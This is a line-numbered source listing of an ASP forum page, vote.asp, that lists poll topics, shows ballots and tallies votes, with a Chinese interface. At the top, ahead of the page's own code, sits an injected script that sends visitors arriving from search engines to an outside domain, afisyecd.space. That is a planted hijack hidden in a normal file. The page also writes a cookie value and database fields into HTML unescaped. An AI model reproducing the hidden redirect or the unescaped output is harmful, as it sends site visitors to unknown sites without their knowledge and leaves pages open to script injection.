d:\wwwroot\wuchunhua\vote.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="setup.asp" -->
002:
<%
003:
id=int(Request("id"))
004:
005:
count=conn.execute("Select count(id)from [forum] where polltopic<>'' ")(0)
006:
if count=0 then
007:
error("<li>用户尚未在论坛中发表过议题!")
008:
end if
009:
010:
011:
select case Request("menu")
012:
013:
case ""
014:
index
015:
case "post"
016:
post
017:
018:
case "result"
019:
result
020:
021:
end select
022:
023:
sub index
024:
top
025:
026:
%
>
027:
<title>社区议会</title>
028:
029:
<table border=0 width=97% align=center cellspacing=1 cellpadding=4 class=a2>
030:
<tr class=a3>
031:
<td height=25> <img src=images/Forum_nav.gif>
<%
ClubTree
%
> → <a href="vote.asp">社区议会</a></td>
032:
</tr>
033:
</table><br>
034:
035:
<SCRIPT>valigntop()</SCRIPT>
036:
<table cellspacing="0" cellpadding="0" width="97%" align="center" border="0" class="a2">
037:
<tr>
038:
<td>
039:
<table cellspacing="1" cellpadding="6" width="100%" border="0">
040:
<tr>
041:
<td width="100%" height="20" align="middle" class="a1" colspan="3">
042:
<font face="宋体">最新议题</font></td>
043:
</tr>
044:
045:
<%
046:
047:
048:
049:
sql="select * from [forum] where polltopic<>'' and deltopic<>1 order by id Desc"
050:
051:
052:
rs.Open sql,Conn,1
053:
054:
pagesetup=15 '设定每页的显示数量
055:
rs.pagesize=pagesetup
056:
TotalPage=rs.pagecount '总页数
057:
PageCount = cint(Request.QueryString("ToPage"))
058:
if PageCount <1 then PageCount = 1
059:
if PageCount > TotalPage then PageCount = TotalPage
060:
if TotalPage>0 then rs.absolutepage=PageCount '跳转到指定页数
061:
062:
i=0
063:
Do While Not RS.EOF and i<pagesetup
064:
i=i+1
065:
%
>
066:
067:
<tr bgcolor="ffffff">
068:
<td valign="top" align="left" width="71%">
069:
<img src="images/brow/
<%
=rs("icon")
%
>.gif" border="0">
070:
071:
<a onclick="min_yuzi()" target="message" href="ShowPost.asp?id=
<%
=rs("id")
%
>">
<%
=rs("topic")
%
></a>
072:
073:
074:
</td>
075:
<td valign="top" align="center">
076:
<input onclick=javascript:open('vote.asp?menu=post&id=
<%
=rs("id")
%
>','','resizable,scrollbars,width=500,height=170') type="submit" value="请投一票"></td>
077:
<td valign="top" align="center">
078:
<input onclick=javascript:open('vote.asp?menu=result&id=
<%
=rs("id")
%
>','','resizable,scrollbars,width=500,height=170') type="submit" value="投票结果"></td>
079:
</tr>
080:
081:
<%
082:
083:
RS.MoveNext
084:
loop
085:
RS.Close
086:
%
>
087:
088:
</table></td></tr></table>
089:
<SCRIPT>valignbottom()</SCRIPT>
090:
<br><center>[
091:
<script>
092:
PageCount=
<%
=TotalPage
%
> //总页数
093:
topage=
<%
=PageCount
%
> //当前停留页
094:
095:
for (var i=1; i <= PageCount; i++) {
096:
if (i <= topage+3 && i >= topage-3 || i==1 || i==PageCount){
097:
if (i > topage+4 || i < topage-2 && i!=1 && i!=2 ){document.write(" ... ");}
098:
if (topage==i){document.write(" "+ i +" ");}
099:
else{
100:
document.write("<a href=?topage="+i+">"+ i +"</a> ");
101:
}
102:
}
103:
}
104:
</script>
105:
]<br>
106:
<%
107:
end sub
108:
109:
sub post
110:
111:
sql="select * from forum where ID="&id&""
112:
rs.Open sql,Conn,1,3
113:
if rs("multiplicity")=1 then
114:
multiplicity="checkbox"
115:
else
116:
multiplicity="radio"
117:
end if
118:
content=""&content&"<form action=postvote.asp?id="&rs("id")&" method=POST><table>"
119:
vote=split(rs("polltopic"),"|")
120:
for i = 0 to ubound(vote)
121:
if not vote(i)="" then
122:
content=""&content&"<tr><td height=22>"&i+1&".<input type="&multiplicity&" value="&i&" name=postvote>"&vote(i)&"</td></tr>"
123:
end if
124:
next
125:
content=""&content&"</table><center><INPUT type=submit value=' 投 票 '></form>"
126:
127:
128:
%
><title>请您投票</title><link href="images/skins/
<%
=Request.Cookies("skins")
%
>/bbs.css" rel="stylesheet">
<%
=content
%
>
<%
129:
end sub
130:
131:
sub result
132:
sql="select * from forum where ID="&id&""
133:
rs.Open sql,Conn,1,3
134:
if rs("multiplicity")=1 then
135:
multiplicity="checkbox"
136:
else
137:
multiplicity="radio"
138:
end if
139:
content=""&content&"<table><tr><td><table>"
140:
141:
vote=split(rs("polltopic"),"|")
142:
for i = 0 to ubound(vote)
143:
if not vote(i)="" then
144:
content=""&content&"<tr><td height=22 valign=bottom>"&i+1&"."&vote(i)&"</td></tr>"
145:
146:
end if
147:
next
148:
content=""&content&"</table></td><td><table>"
149:
allticket=0
150:
vote=split(rs("pollresult"),"|")
151:
for i = 0 to ubound(vote)
152:
if not vote(i)="" then
153:
content=""&content&"<tr><td height=22 valign=bottom>票数:"&vote(i)&"</td></tr>"
154:
allticket=vote(i)+allticket
155:
end if
156:
next
157:
content=""&content&"</table></td><td><table>"
158:
vote=split(rs("pollresult"),"|")
159:
for i = 0 to ubound(vote)
160:
if not vote(i)="" and allticket<>0 then
161:
content=""&content&"<tr><td height=22 valign=bottom><img src=images/bar1.gif width="&vote(i)/allticket*100&" height=10> ["&formatnumber(vote(i)/allticket*100)&"%]</td></tr>"
162:
end if
163:
next
164:
content=""&content&"</table></td></tr></table></form>"
165:
%
><title>投票结果</title><link href="images/skins/
<%
=Request.Cookies("skins")
%
>/bbs.css" rel="stylesheet">
<%
=content
%
>
<%
166:
end sub
167:
168:
169:
htmlend
170:
%
>
171:
172: